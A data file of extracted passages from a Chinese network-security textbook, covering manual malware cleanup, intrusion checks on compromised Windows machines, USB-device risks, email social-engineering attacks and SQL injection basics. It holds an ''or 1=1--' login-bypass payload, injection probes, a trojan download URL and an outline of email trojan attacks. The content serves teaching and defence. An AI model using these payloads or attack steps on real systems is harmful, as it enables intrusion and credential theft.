    {"text": "这个时候，就可以使用冰 刀的强制文件删除功能将其删除。 冰刀的强制文件删除一个非常好用的功能。 使用冰刀浏览磁盘中的文件，选中需要删除的文件 或者文件夹，然后单击右键，在弹出的快捷菜单中选择“强制删除”选项，强制删除一些无法删除 的文件或者文件夹。"},
    {"text": "582 第 9 章 Windows 及 Linux 安全防范 图 9-56 删除无法删除的文件夹和文件 2．无法升级病毒库的处理 对病毒进行清理后，需要对系统漏洞及恶意插件进行清理。 在本例中，主要使用 360 安全卫士进 行检测，连接网络后发现无法升级特征库，看来病毒修改了 hosts 文件。 直接到系统的 C:\\WINDOWS\\ system32\\drivers\\etc 目录下打开 hosts 文件，如图 9-57 所示，果然病毒已经修改了该文件。 在该文件 中，第 5 行到第 7 行是公司的 ERP、DB、TXT 服务器所对应的 IP 地址和域名，后面的内容显示病毒 已经将目前所有的杀毒软件和安全检测软件的网站及病毒库升级地址指向病毒设定的 IP 地址，致使 它们无法升级病毒库，让病毒一直逍遥“法”外。"},
    {"text": "直接解压缩，恢复 hosts 文件，就可以升级 360 安全卫士的特征库了。 图 9-57 病毒修改了 hosts 文件 583 网络攻防实战研究：漏洞利用与提权 3．使用安全 360 卫士进行安全检测 打开 360 安全卫士，单击“清理恶意插件”选项，对检测出来的恶意插件和病毒进行清除。"},
    {"text": "根据 360 安全卫士的提示，清除该病毒需要下载顽固木马专杀工具。 将该工具下载到本地， 然后进行查杀，如图 9-58 所示，果然检测出两个病毒。 图 9-58 使用 360 顽固木马专杀大全查杀病毒 4．木马病毒疯狂下载病毒 （1）找到木马病毒下载者 根据经验，估计该木马病毒会自动从木马网站下载病毒。 访问 Temporary Internet Files 文件夹， 如图 9-59 所示，该木马病毒下载了 15 个病毒文件，其下载地址为 http://www.down008867.com/mtv/， 文件按照 xpn 的格式命名。"},
    {"text": "图 9-59 木马病毒下载的病毒 584 第 9 章 Windows 及 Linux 安全防范 （2）清除木马下载者 直接删除 Temporary Internet Files 目录下面的所有文件，在系统目录中发现了木马下载者文件 ilobbyupdater117.exe。"},
    {"text": "9.6.4 总结与思考 本次手工清除病毒对笔者来讲是一种挑战，是运用多种方法和技术清除病毒和加固系统的一次 实战，个人感觉收获很多，主要有以下几点。 z 在清除病毒的过程中，一定要随时做好系统的备份工作。 笔者在开始清除病毒时，由于未对 系统进行备份，导致系统启动后无法显示桌面，看似系统正常启动，而实际上关键进程都被 病毒劫持了。 后面每前进一小步，都需要对系统进行备份，再寻找和清除病毒。 z 如果系统中的一些关键进程被劫持，则优先考虑使用专用杀毒软件来解决，这样做的效率较 高，且不容易出现问题。 z 使用 autoruns、Icesword、CurrPorts、360 安全卫士、ProcessExplorer 及一键 Ghost 等软件可 以清除绝大部分病毒。 z 在清理病毒时要注意可执行文件的名称和大小，这需要经验的积累。"},
    {"text": "9.7 计算机网络入侵安全检查研究 据 FBI 的统计，由于计算机犯罪所造成的经济损失仅 2003 年就达 2000 亿美元，由于网络黑客 培训的兴起及黑客录像的大量传播，加上成为黑客的好奇心，以及利用黑客手段可以获取资料来牟 取非法利益，越来越多的人喜欢上了入侵，促使我国的网络入侵刑事案件呈上升趋势。 网络入侵， 轻则造成个人资料的丢失和一些轻微的破坏，重则不仅让个人和公司蒙受巨大的经济损失，而且极 有可能因发生泄密而危害国家安全。"},
    {"text": "我国也曾经发生多起因军人的个人或工作计算机上网而导致的泄密事件， 只是媒体报道较少。 虽然很多个人计算机安装了防火墙及杀毒软件，但仍然不能完全防止网络入侵， 很多资料的泄露都是因个人计算机上网发生的。 因此，上网计算机的安全问题不容忽视，了解和 掌握一定的网络入侵安全检查方法，减少由网络入侵带来的经济损失很有必要。 9.7.1 网络入侵的途径 计算机病毒入侵主要有源代码嵌入攻击型、代码取代攻击型、系统修改型和外壳附加型 4 种方 式，而对网络入侵来讲，笔者认为主要分为主动入侵和被动入侵。 主动入侵主要是指用户主动执行病毒及木马程序。 例如，浏览网站中植入了恶意病毒及其木马 程序的网页，这些木马程序（病毒）大多利用操作系统的漏洞，当用户访问网页时，将主动下载该 类木马程序并执行。 再如，目前比较流行的 U 盘病毒，通过 U 盘传播和执行，这种类型的攻击非常 隐蔽，不易察觉，当用户连接互联网时，木马（病毒）的客户端可以对感染木马（病毒）的服务端 进行控制。 585 网络攻防实战研究：漏洞利用与提权 被动入侵主要是指由攻击者主动发动的攻击，例如扫描系统口令、利用系统存在的远程溢出漏 洞进行溢出攻击、SQL 注入攻击等。"},
    {"text": "系统安装完成后，不要立即连接互联网，要安装最新的安全补 丁程序，特别是安装一些高危漏洞的补丁程序（很多网页就是利用这些漏洞来执行木马程 序的）。 z 安装杀毒软件和防火墙，及时更新病毒库。 及时更新杀毒软件的病毒库可以有效查杀病毒和 木马程序。"},
    {"text": "目前计算机运行的很多程序大多为盗版，无法进行来源验证，很多从网上下 载的程序都捆绑了木马程序，因此，不要运行来历不明的程序，要尽量到大型正规网站下载 软件。"},
    {"text": "1．报告上司、网警、公安部门或国家安全部门 在计算机被入侵后，一般采用 3 种方式：一种是彻底格式化硬盘，重新安装操作系统和软件； 一种是安装一些木马查找软件，查杀木马和病毒后继续使用； 还有一种是利用原来系统中的 Ghost 备份进行恢复。"},
    {"text": "z 还原操作系统，使被攻击服务器或者个人计算机恢复正常。 z 修改在本机上使用的相关软件及操作系统账号的登录密码。 z 如果是服务器，则需要通知网络用户更改相应的密码 9.7.3 安全检查方法 下面详细介绍对被入侵计算机的安全检查方法。 1．检查计算机用户 在被入侵的计算机中，极有可能添加了新用户或者对用户进行了克隆，可以按照以下方式进行 检查。"},
    {"text": "2．查看网络连接情况 使用“netstat -an->netlog-1.txt”命令将目前端口的开放情况及网络连接情况生成 netlog-1.txt 文 件，以便查看网络开放的端口和连接的 IP 地址等，从而追踪攻击者。 3．查看远程终端服务 Windows2000/XP/Server 2003 默认的远程终端服务都是手 动的。 查看远程终端开放情况可以采取以下方法。 （1）查看 Terminal Services 服务的启动情况 打开管理工具中的“服务”控制面板，查找名称为“Terminal Services”的服务，直接双击该服务名称就可以查看远程终端 开放情况。"},
    {"text": "（2）使用 DOS 命令 query/quser 使用“query user /quser”命令可以直接查看目前远程终端 图 9-60 查看远程终端服务 的服务连接情况，不过该命令只能在 Windows 2000/Server 2003 中使用，在 Windows XP 中需要到系统目录下的 dllcache 目录下执行。"},
    {"text": "说明 在进行检查前，需要确定是否存在 query.exe 和 quser.exe 这两个文件及其相应文件的大小。 攻击 者在入侵成功后，有可能将 query.exe 和 quser.exe 文件删除或者替换。 query.exe 和 quser.exe 文件的 大小分别为 10752 字节和 18432 字节。"},
    {"text": "（3）使用“netstat -an | find \"3389\"”命令查看网络连接及其端口开放情况 使用“netstat -an | find \"3389\"”命令可以查看目前正在使用远程终端的连接及其 3389 端口开放 情况。 （4）通过注册表查看 3389 端口开放情况 分 别 查 看 注 册 表 键 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp] 和 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 下的 PortNumber 值，如图 9-61 所示。"},
    {"text": "4．Web 服务器的安全检查 （1）SQL Server 2000 等数据库的安全检查 目前对 Web 服务器进行 SQL 注入是一种主流攻击方式。 SQL 注入攻击最有可能留下痕迹的就 是 SQL Server 2000 等数据库中的临时表。 587 网络攻防实战研究：漏洞利用与提权 图 9-61 查看 3389 端口开放情况 通过 HDSI 等软件进行 SQL 注入攻击，在数据库中会留下临时表，因此，可以通过数据库的企 业管理器或者查询处理器进行表的浏览，直接查看新建表的情况。"},
    {"text": "（2）Web 日志文件检查 如果 Web 服务设置了日志记录，系统会在默认的“%SystemRoot%\\system32\\Logfiles”目录下对 用户访问等信息进行记录。 日志文件能够记录攻击者所进行的操作及攻击者的 IP 地址等。 5．使用事件查看器查看安全日志等 事件查看器中有安全性、系统和应用程序 3 类日志文件，可以通过运行 eventvwr.msc 调用事件 查看器。 安全性日志中包含特权使用、用户、时间和计算机等信息，这些信息可以作为判断攻击者 入侵时间及登录方式等的信息，如图 9-62 所示。"},
    {"text": "图 9-62 查看安全日志 588 第 9 章 Windows 及 Linux 安全防范 6．查看硬盘及系统所在目录新近产生的文件 如果及时发现入侵，则可以通过以下方法查看攻击者上传或安装的木马程序文件。 （1）查看系统目录文件 可以使用 DOS 命令“dir /od /a”或者资源管理器查看最新文件。 使用 DOS 命令“dir /od /a”查 看系统的最新文件（包含隐藏文件）时按日期排序。 （2）查看系统盘下用户所在文件的临时目录 查看系统盘下用户所在文件的临时目录 temp，例如“D:\\Documents and Settings\\simeon\\Local Settings\\Temp”，该目录下会保留一些临时文件。 （3）查看历史文件夹 历史文件夹中会保留一些攻击者访问网络的信息，可以通过访问用户所在的目录，例如“D:\\ Documents and Settings\\simeon\\Local Settings\\History”查看。 （4）查看“回收站” “回收站”中可能会有一些攻击者删除的文件记录，可以通过查看文件创建日期和跟踪文件所在 位置进行入侵时间等判断。 （5）查看 recent 文件夹 recent 文件夹中会保留一些最近操作的快捷方式，通过这些快捷方式可以了解攻击者所进行的 操作。"},
    {"text": "图 9-63 使用 autoruns 查看进程 589 网络攻防实战研究：漏洞利用与提权 9．检查 Rootkit Rootkit 是攻击者用来隐藏自己的踪迹和保留 root 访问权限的工具，利用 Rootkit 技术编写的木 马程序功能强大，且具有较高的隐蔽性，危害非常大。 目前可以通过 RootkitRevealer、Blacklight 及 Klister 等 Rootkit 检测工具检测系统是否存在 Rootkit 类型的木马。"},
    {"text": "9.8 实战个人计算机网络安全检查 目前，网络病毒和木马程序已经严重威胁个人计算机的安全，特别是当安全与实际的经济利益 相关联时。 试想一下，当个人计算机被木马等程序控制后，电子邮箱等个人账号和密码及个人隐私 信息均会泄露，如果攻击者利用这些信息，严重的将直接造成重大的经济损失。"},
    {"text": "一些网站由于程序上的漏洞 或者配置不当，极易被入侵和被完全控制。 攻击者控制成功后，往往会利用 IE 等浏览器或者系统已 存在的漏洞进行网页挂马（通过访问网页来下载木马程序，并执行木马程序），如果个人计算机没有 安装漏洞补丁程序，那么一般来说，只要访问被挂马的网页，个人计算机被植入的木马的几率极高。 解决这种安全隐患的方法相对简单，如果使用了杀毒软件，可以通过杀毒软件的“漏洞扫描”功能 来扫描系统中存在的漏洞。 如果存在漏洞，可以通过杀毒软件提供的“修复”功能进行自动修复。 还有一种方法就是利用 Windows 系统自带的自动更新程序自动更新系统漏洞补丁。"},
    {"text": "与端口相对应的就是服务 和协议，一个服务往往对应一个端口。 在 Windows 操作系统中会有一个 Services 文件，该文件以列 表的形式列出了 Windows 系统中常见的端口、服务及协议等信息，如图 9-64 所示。 端口又分常见端 口和非常见端口，常见端口有 80 端口（HTTP 服务，也就是 Web 服务）、110 端口（POP3 收信服务 端口）等，非常见端口主要是一些特殊软件和木马在使用。 2．查看系统开放端口 单击“开始”→“运行”选项，输入“cmd”命令，然后在 DOS 命令提示符下输入“netstat -an” 命令，查看系统开放了哪些端口，如图 9-65 所示。 该命令能够查看绝大多数软件所开放的端口，但 是 Rootkit 等木马程序会自动隐藏端口和服务，通过该命令会显示为网络端口和连接一切正常。 3．使用 CurrPorts 查看系统开放端口 网上有很多实时监控网络连接的软件，例如 TCPView、APorts 等，但功能强大又方便的还是 CurrPorts。 CurrPorts 可以实时监控网络连接，关闭选择的网络连接，以 HTML 格式显示目前端口和 网络连接情况，如图 9-66 所示。 使用 CurrPorts 主要可以查看目前系统中有哪些程序正在运行、打开 590 第 9 章 Windows 及 Linux 安全防范 了哪些端口，对于不熟悉的应用程序打开的端口，则需要通过经验进行判断或者通过 Google、百度 等搜索引擎进行程序名称等相关信息的搜索。"},
    {"text": "网上一般会提供相应的信息，这些信息可以作为判断 该程序是否为木马程序的依据。 图 9-64 系统中的 Services 文件 图 9-65 网络连接情况 图 9-66 使用 CurrPorts 查看端口 9.8.3 Rootkit 木马检查 对于一般的病毒和木马程序，通过目前市面上的杀毒软件一般都能查杀，关键是一些难以被查 杀的木马程序，其中 Rootkit 最难查杀。"},
    {"text": "1．Rootkit 的由来 Rootkit 出现于 20 世纪 90 年代初，在 1994 年 2 月的安全咨询报告 Ongoing Network Monitoring Attacks （CERT-CC 的 CA-1994-01）中首先使用了“Rootkit”这个名词。"},
    {"text": "Rootkit 分为 User Mode Rootkit 和 Kernel Mode Rootkit 两种，其中 Kernel Mode Rootkit 最难检查。 由于 Rootkit 木马程序对个人计算机的危害非常大，而一般的杀毒软件又很难检测，因此只能借助专 业的软件来查杀。 2．查杀 Rootkit 笔者推荐两款查杀 Rootkit 的工具。"},
    {"text": "程序界面非常简单，单击“Scan”按 钮进行扫描，如图 9-67 所示，RootkitRevealer 会将系统中所有隐藏的注册表键值、exe、dll 及驱动 程序等以路径的形式显示出来，供安全检查人员参考，软件本身不对 Rootkit 进行处理。 注意 如果在“Path”列表中存在可执行文件（*.exe）、动态链接库文件（*.dll）及驱动程序文件（*.sys）， 就要注意了，这些文件极有可能是 Rootkit。"},
    {"text": "其操作也非常简单，找到 Rootkit 木马程序以后 会提示用户是否进行清除处理，如图 9-68 所示。 图 9-67 用 RootkitRevealer 查杀 Rootkit 图 9-68 用 AVG 查杀 Rootkit 9.8.4 一些安全建议 1．谨慎运行程序 平时不要安装不明应用程序。"},
    {"text": "下载软件时尽量到大型的正规网站下载。 下载完成以后，要先进 行杀毒处理，再进行安装，以免感染木马或者病毒程序。 对于 RAR 压缩文件，不要直接打开，而要 将文件解压缩到本地以后再执行。"},
    {"text": "592 第 9 章 Windows 及 Linux 安全防范 2．及时更新系统漏洞补丁和病毒库 打开所有杀毒软件的实时监控，可以有效查杀绝大多数 U 盘病毒，防止 U 盘病毒的感染和传播。 3．做好系统备份 系统安装完成以后，应依次安装防火墙、杀毒软件、系统补丁程序、应用程序。 所有程序安装 完成以后，使用 Ghost 做一个完整的备份。 如果有条件，可以将 Ghost 文件刻录到光盘中，当系统 出现问题时直接使用 Ghost 文件恢复。"},
    {"text": "9.9 移动存储设备安全隐患及其防范对策 防火墙、IDS、内外网隔离及其他针对外部网络的访问控制系统，可有效防范来自网络外部的进 攻，但对于企业内部的信息保密问题，却一直没有很好的防范方法。"},
    {"text": "内部人员可以轻松地将计算机 中的机密信息通过网络、存储介质和打印等方式泄露出去，一旦这些敏感信息、重要数据、设计图 纸等流失到敌对势力、竞争对手手中，将给国家、企事业单位造成重大的损失。 CSI 和 FBI 的调查 结果显示，企业和政府机构因重要信息失窃所造成的损失超过病毒感染和黑客攻击所造成的损失， 80%以上的安全威胁来自内部，而内部的一个最容易出问题的地方就是移动存储设备。"},
    {"text": "移动存储设备由于容量比软盘大几十倍甚至几万倍，体积小，携带方便，深受用户喜爱。 U 盘、 MP3、MP4、iPod 及数码相机等设备都具有存储功能，在几分钟内就可以复制几百兆字节的数据， 如果管理不善，移动存储设备极有可能成为企业数据安全的后门。 目前，小型移动存储设备的存储 容量超过了 1GB，恶意人员可以随意复制公司内部资料，而正常员工的移动存储设备在工作和生活 中的广泛使用，也极有可能感染木马病毒。 新型木马病毒大多带有极强的商业目的，都有窃取和发 送移动存储设备中资料的功能。 例如，U 盘病毒“WORD 文档杀手”，其主要功能就是删除 Word 文 档。 此外，有很多不易被查杀的利用移动存储设备来传播的木马病毒，其主要目的就是窃取企业和 国家的机密文件。"},
    {"text": "1．由于设备丢失或者被窃而导致的数据泄露 设备直接丢失和被窃的几率不是很大，但是其导致的数据泄露的危害是相当大的。 丢失设备中 的资料泄露具有不确定性，拿到设备的人可能将设备中的资料进行传播，也可能不进行传播。 对于 设备被窃而言，偷盗者具有一定的目的性，针对性较强，如果再利用社会工程学等对获取的资料进 行利用，将带来巨大的安全隐患和经济损失。"},
    {"text": "2．未经许可的数据提取 公司恶意人员、离职员工等人员及人的好奇心会促使他们去获取未经授权的数据，或者将未经 许可的数据使用移动存储设备提取并带出。"},
    {"text": "这些数据被带出以后，其流向具有不确定性及较高的安 593 网络攻防实战研究：漏洞利用与提权 全隐患，由此造成的数据传播将呈几何级数，如果是通过网络传播出，则根本无法控制。"},
    {"text": "（1）利用操作系统漏洞 目前很多木马病毒都会利用操作系统的漏洞，特别是利用远程溢出漏洞传播。 现在利用这些漏 洞制作的网页木马非常多，只要用户没有安装该漏洞的补丁，那么在访问包含该木马的网页时，执 行该木马程序的几率非常高。"},
    {"text": "（2）安装未经验证的程序和盗版程序 由于使用成本等原因，国内使用盗版程序的个人和公司非常多。 很多盗版程序无法进行安全性 验证，无法保证程序没有被篡改或没有在传播过程中被植入或者捆绑过木马程序。"},
    {"text": "捆绑恶意软件就是一个例子，如果把这些恶 意软件换成木马程序，通过网络下载后“主动”安装在计算机上，其后果和危害不堪设想。 （3）利用应用程序的漏洞捆绑木马 利用应用程序的漏洞捆绑木马，主要是利用应用程序中的远程溢出漏洞，将木马程序植入应用 程序文件。"},
    {"text": "当用户打开该“应用程序文件”时，除了会打开该应用程序，还会执行文件中的木马程 序。 在打开过程中，看起来只是打开了一个文件，而木马程序往往会在打开应用程序之前或者之后 执行，其模型为： 运行利用存在漏洞的应用程序文件 = 运行木马 + 运行正常的应用程序文件 4．被动引入 被动引入是指在资料传播或者移动设备使用过程中被恶意程序利用。 这些恶意程序往往以窃取 资料、追求商业利益为目的，危害非常大，其中以 U 盘病毒为最。 5．移动存储设备的漏洞 国外的一些公司，特别是西方发达国家的高科技公司，往往在国家利益的驱动下，在一些芯片 中植入“秘密”程序，使其移动设备可以在国家需要时利用一些外在条件实施控制、销毁和破坏。"},
    {"text": "9.9.2 移动存储设备安全防范对策 安全只是相对的安全，没有绝对的安全。 对于移动存储设备，主要通过两个层面来防范，一个 是技术层面，另一个是非技术层面。"},
    {"text": "（2）禁止移动设备自动播放 很多木马病毒都是通过自动运行来执行的，因此，在打开移动存储设备时，尽量不要使用自动 运行功能，而要通过浏览器或者资源管理器来打开。"},
    {"text": "（3）实时监控，杀毒先行 对杀毒软件和个人防火墙，要打开实时监控功能，确保杀毒软件及个人防火墙的正常运行。 在使用移动存储设备时，首先应查杀移动存储设备中的文件，在确定没有病毒的情况下再进行其 他操作。 （4）谨慎下载，安全运行 在需要下载软件时，应尽量到正规的大型网站下载，下载后要对软件进行杀毒处理。"},
    {"text": "（5）做好系统和数据备份工作 近年来，计算机木马病毒往往带有较强的商业目的，尤其是以移动存储设备为传播介质的病毒， 如果处理不好，将带来巨大的经济损失。"},
    {"text": "2．非技术防范 z 级别不够不能用：对于部分有必要的计算机，才允许使用 U 盘、移动硬盘； 其他计算机禁 止使用 U 盘、移动硬盘等移动存储设备。 z 非法 U 盘进不来：所有能在内部使用的 U 盘、移动硬盘必须通过授权认证，没有经过授权 的 U 盘和移动硬盘无法使用。 z 授权 U 盘拿不走：即使是经过认证的移动存储设备，其保存的机密文件也都进行了高强度 加密存储并完全隐藏； 授权 U 盘、移动硬盘可以在内部如常使用，但在外部计算机上看不 到任何信息。"},
    {"text": "本节从社会工程学攻击的现状出发，详细研究电子邮件社会工程学攻击的应用手段和方式，并在此 基础上对电子邮件社会工程学攻击的防范措施进行研究和探讨，希望通过这些安全防范措施降低被 成功攻击的概率。"},
    {"text": "根据中国互联网络信息中心的数据统计，我国上网用户已经超过 5 亿，手机上网用户超过 3 亿， 595 网络攻防实战研究：漏洞利用与提权 一旦用户接入互联网，就会成为黑客攻击的目标。 国家互联网应急中心发布的《2011 年中国互联网 网络安全态势报告》指出：我国遭受境外网络攻击持续增多；"},
    {"text": "目前，国内有关电子邮件社会工程学攻击的研究较少，而国 外已经将电子邮件社会工程学攻击列为重要信息部门必须培训的课程之一。 笔者通过走访黑客、查 询国内外文献，对电子邮件社会工程的手段、攻击方式进行了深入的研究。"},
    {"text": "9.10.1 社会工程学 我们来了解一下社会工程学的相关概念。 1．社会工程学的定义 社会工程学（Social Engineering）是指把对物的研究方法全盘运用到对人本身的研究上，并将其 变成技术控制的工具。 社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪 等心理陷阱进行诸如欺骗、伤害等危害手段而取得自身利益的方法。 2．社会工程学攻击 社会工程学攻击就是利用人们的心理特征骗取信任，获取机密信息、系统设置等不公开资料， 为黑客攻击和病毒感染创造有利条件。"},
    {"text": "由于安全技术越来越完善，使用这些技 术的人就成为整个环中最为脆弱的部分，加之人类具有贪婪、自私、好奇、信任等心理弱点，因此， 通过恰当的方法和方式，攻击者完全可以从相关人员那里获取入侵所需的信息。"},
    {"text": "9.10.2 常见的电子邮件社会工程学攻击方法 通过电子邮件进行攻击的常见手法主要有 5 种，分别是伪造邮件地址或者信任关系攻击、人性 心理弱点攻击、恶意攻击、0day 攻击和跨站攻击。 1．伪造邮件地址或者信任关系攻击 伪造攻击主要通过事先收集被攻击对象的各种信息，特别是有关电子邮件往来的各种信息，然 后假冒“信任”的联系人给被攻击对象发送邮件，被攻击者收到邮件后，看到是“信任”的关系， 因此不加怀疑地直接打开邮件附件，或者回复攻击者想获取的信息。"},
    {"text": "596 第 9 章 Windows 及 Linux 安全防范 2．人性心理弱点攻击 心理弱点攻击是电子邮件社会工程学攻击最主要的手法之一。 该攻击方法利用电子邮件夹带恶 意程序或恶意链接进行攻击，运用各种人性弱点吸引使用者开启问题邮件，问题邮件通常与被攻击 者的兴趣有关，利用人的贪心等使被攻击对象无法对问题邮件免疫。"},
    {"text": "3．恶意攻击 攻击者通过发送捆绑木马的附件或者链接地址（链接地址往往带有挂马功能），诱使用户打开附 件或者访问恶意构建的网页，从而感染病毒。 4．0day 攻击 只要是软件，就可能存在有漏洞，未能及时修补就可能遭到利用并被入侵。"},
    {"text": "在软件漏洞被修补 前出现的针对该漏洞的攻击行为称为零时差攻击（0day 攻击）。 在软件漏洞补丁程序发布后的 n 天， 利用用户还未修补的软件漏洞进行攻击，称为 n day 攻击。"},
    {"text": "攻击者通过 0day 交易渠道或者自己挖掘 0day，掌握了一些文件 格式的未公开漏洞，例如 Office 系列、PDF 系列、Flash 系列及 IE 等，通过 0day 漏洞利用工具，将 木马与 0day 漏洞捆绑在一起，生成一个正常格式的文件，被攻击者打开该文件后即感染木马或者执 行指定的可执行文件。"},
    {"text": "5．电子邮件跨站攻击 跨站攻击，即“Cross Site Script Execution”（通常简写为“XSS”），是指攻击者利用网站程序对 用户输入内容过滤的不足，输入可以显示在页面上的、能够对其他用户造成影响的 HTML 代码，从 而盗取用户资料、利用用户身份进行某种操作或者对访问者进行病毒侵害的一种攻击方式。"},
    {"text": "攻击者通过对被攻击者电子邮件服务器所使用的系统进行研 究，发现电子邮件服务器系统存在的各种跨站漏洞，然后将跨站漏洞利用代码嵌入富文本的邮件内 容中，通过网页或者特定电子邮件发送软件，将构造好的邮件发送给被攻击者。 被攻击者查看电子 邮件时会执行跨站代码，要求重新输入用户名和密码。 攻击者通过事先构造好的电子邮件登录页面 截获用户名和密码，然后将用户名和密码重新定向到真实的电子邮件地址，从而获取电子邮箱口令 及 Cookie 等信息。"},
    {"text": "1．信息收集 在实施攻击前需要充分了解被攻击对象的各种信息，例如职业、性别、年龄、爱好等，尤其需 要掌握其个人邮件地址信息。 2．攻击前的测试准备 在攻击前需要对木马程序进行免杀测试，对漏洞利用工具的各种攻击场景进行实际测试，查看 漏洞被攻击后的实际效果。"},
    {"text": "同时，需要申请发送邮件时使用的电子邮件账号，通过模拟攻击对象的电子邮 597 网络攻防实战研究：漏洞利用与提权 箱进行邮件发送测试，防止邮件不能通过邮件服务器安全策略被当成垃圾邮件处理的情况发生。 3．实施攻击 通过专门的邮件发送工具或者电子邮箱发送构造好的邮件。 攻击的实施过程比较简单，准备好 邮件内容和附件即可。 4．进行控制 收件人打开电子邮件，感染木马病毒。 攻击者可以对所控制的计算机进行读取磁盘文件、下载 数据、安装键盘记录等操作，以长期控制计算机。 如果该计算机与内部网络相连，还可以将该计算 机作为跳板，对内部网络实施攻击。"},
    {"text": "1．技术方面的防范 （1）安装杀毒软件和防火墙等安全防范软件 操作系统安装完成后，一定要安装杀毒软件和防火墙软件。 要定期养成杀毒的好习惯，对下载 的邮件和软件均要进行杀毒，还要定期对系统进行杀毒。 （2）应用软件和安全防范软件更新 目前，Windows 操作系统、应用软件和安全防范软件都会在一定程度上存在漏洞，如果网上已 经公布了漏洞而用户未及时修补，就比较容易受到攻击。 因此，需要设置 Windows 操作系统自动更 新系统补丁，更新 Adobe Reader、Flash、IE 等应用软件到最新版本或者下载补丁程序，每天更新杀 毒软件病毒库。 （3）使用安全的邮件查看技术 在虚拟机中查看邮件，即使用目前的虚拟机技术，通过在物理机上安装 VMware Workstation 重 新安装一个操作系统，所有邮件的查看操作均在虚拟机中进行，查看前要做快照，邮件处理完毕再 使用快照恢复，这样，即使系统感染木马，也不会影响实体机。 在使用不同的邮件查看软件时，应 尽量熟悉所使用软件的基本设置，关闭自动下载图片和邮件预览功能，以纯文字方式打开邮件。"},
    {"text": "2．安全意识方面的防范 （1）警惕要求输入用户名和密码的页面 在电子邮件社会工程学攻击中，邮件跨站攻击是最常见和最有效的一种攻击方法。"},
    {"text": "598 第 9 章 Windows 及 Linux 安全防范 （3）抵制“诱惑” 现代社会，信息极度丰富，多看原始网页的内容，针对“朋友”发送的电子邮件，不心动、不 冲动，对自己感兴趣、内容有吸引力的邮件，要验明身份，特别是对带有附件的邮件，要抵制“诱 惑”，慎重打开。"},
    {"text": "9.10.5 总结与思考 从表面上看，电子邮件社会工程学攻击只是简单的欺骗，但是在网络安全领域，它的攻击效果 往往是最显著的，究其原因是它包含了极其复杂的心理学因素，所以比其他入侵方式更难防范。 只 要我们时刻提醒自己“攻击随时有可能在身边发生”，全面了解社会工程学的攻击方法和手段，具备 一定的安全防范知识和防范措施，在面对社会工程学攻击的时候就能识别其真面目，处于主动地位， 将遭受攻击的风险降至最低。"},
    {"text": "9.11 SQL 注入攻击技术及其防范研究 在本节中，我们一起了解一下 SQL 注入攻击技术及其防范的相关内容。 9.11.1 SQL 注入技术的定义 SQL 注入（SQL Injection）技术最早出现在 1999 年，2002 年后大量在我国出现。"},
    {"text": "利用 SQL 注入技术来实施网络攻击通常称为 SQL 注入攻击，其本质是利用 Web 应用程序中输 入的 SQL 语句的语法进行处理，针对的是 Web 应用程序开发者在编程过程中未对 SQL 语句传入的 参数进行严格的检查和处理所造成的漏洞。 习惯上将存在 SQL 注入点的程序或者网站称为 SQL 注 入漏洞。 实际上，SQL 注入是存在于有数据库连接的应用程序中的一种漏洞，攻击者通过在应用程 序中预先定义的查询语句的结尾加上 SQL 语句元素，欺骗数据库服务器执行非授权的查询。"},
    {"text": "这类应 用程序一般是基于 Web 的应用程序，允许用户输入查询条件，并将查询条件嵌入 SQL 请求语句，发 送到与该应用程序相关联的数据库服务器中执行。"},
    {"text": "9.11.2 SQL 注入攻击的特点 SQL 注入攻击是当前网络攻击的主要手段之一，在一定程度上其安全风险高于缓冲区溢出漏 洞，目前的防火墙尚不能对 SQL 注入漏洞进行有效的防范。 防火墙为了使合法用户运行网络应用程 序访问服务器端数据，必须允许从 Internet 到 Web 服务器的正向连接，因此，一旦网络应用程序中 存在注入漏洞，攻击者就可以直接访问数据库，进而获得数据库所在的服务器的访问权。"},
    {"text": "599 网络攻防实战研究：漏洞利用与提权 SQL 注入攻击具有以下特点。 z 广泛性：SQL 注入攻击利用的是 SQL 语法，因此，只要是利用 SQL 语法的 Web 应用程序， 如果未对输入的 SQL 语句进行严格的处理，都有可能存在 SQL 注入漏洞。 目前，在 Active/ Java Server Pages、Cold Fusion Management、PHP、Perl 等技术与 SQL Server、Oracle、DB2、 Sybase 等数据库相结合的 Web 应用程序中均发现存在 SQL 注入漏洞。"},
    {"text": "利用这些工具软件，攻击者可以轻易地对存在 SQL 注入的网 站或者 Web 应用程序实施攻击，并最终获取计算机的控制权。 z 危害大：SQL 注入攻击成功后，轻者可能更改网站首页等数据，重者可能通过网络渗透等 攻击技术获取公司机密数据，造成重大的经济损失。 9.11.3 SQL 注入攻击的实现原理和过程 下面分别介绍 SQL 注入攻击的实现原理和实现过程。 1．SQL 注入攻击的实现原理 结构化查询语言（SQL）是一种用来和数据库交互的文本语言。 SQL Injection 就是利用某些数 据库的外部接口把用户数据插入实际的数据库操作语言中，从而达到入侵数据库乃至操作系统的目 的。"},
    {"text": "SQL 注入攻击主要通过构建特殊的输入实现。 这些输入往往是 SQL 语法中的一些组合，这些输 入将作为参数传入 Web 应用程序，通过执行 SQL 语句进而执行攻击者的想要的操作。 下面以登录验 证模块为例，讲解 SQL 注入攻击的实现方法。"},
    {"text": "在 Web 应用程序的登录验证程序中，一般有用户名（username）和密码（password）两个参 数，程序会通过用户输入的用户名和密码来执行授权操作，其原理是通过查找 user 表中的用户名 （username）和密码（password）的结果进行授权访问，典型的 SQL 查询语句如下。"},
    {"text": "Select * from users where username='admin' and password='smith' 如果分别给 username 和 password 赋值“'admin' or 1=1--”和“aaa”，SQL 脚本解释器中的上述 语句就会变为如下形式。 select * from users where username='admin' or 1=1-- and password='aaa' 在该语句中进行了两个判断，只要一个条件成立，就会执行成功。"},
    {"text": "2．SQL 注入攻击的实现过程 SQL 注入攻击可以手工进行，也可以通过 SQL 注入攻击辅助软件（例如 HDSI、Domain、NBSI 等）进行，其实现过程可以归纳为以下 5 个阶段。 600 第 9 章 Windows 及 Linux 安全防范 （1）寻找 SQL 注入点 寻找 SQL 注入点的经典方法是在有参数传入的地方添加“and 1=1”、“and 1=2”及“’”等特殊 字符，通过浏览器返回的错误信息来判断是否存在 SQL 注入，如果返回错误，则表明程序未对输入 的数据进行处理，绝大部分情况下都能进行注入。"},
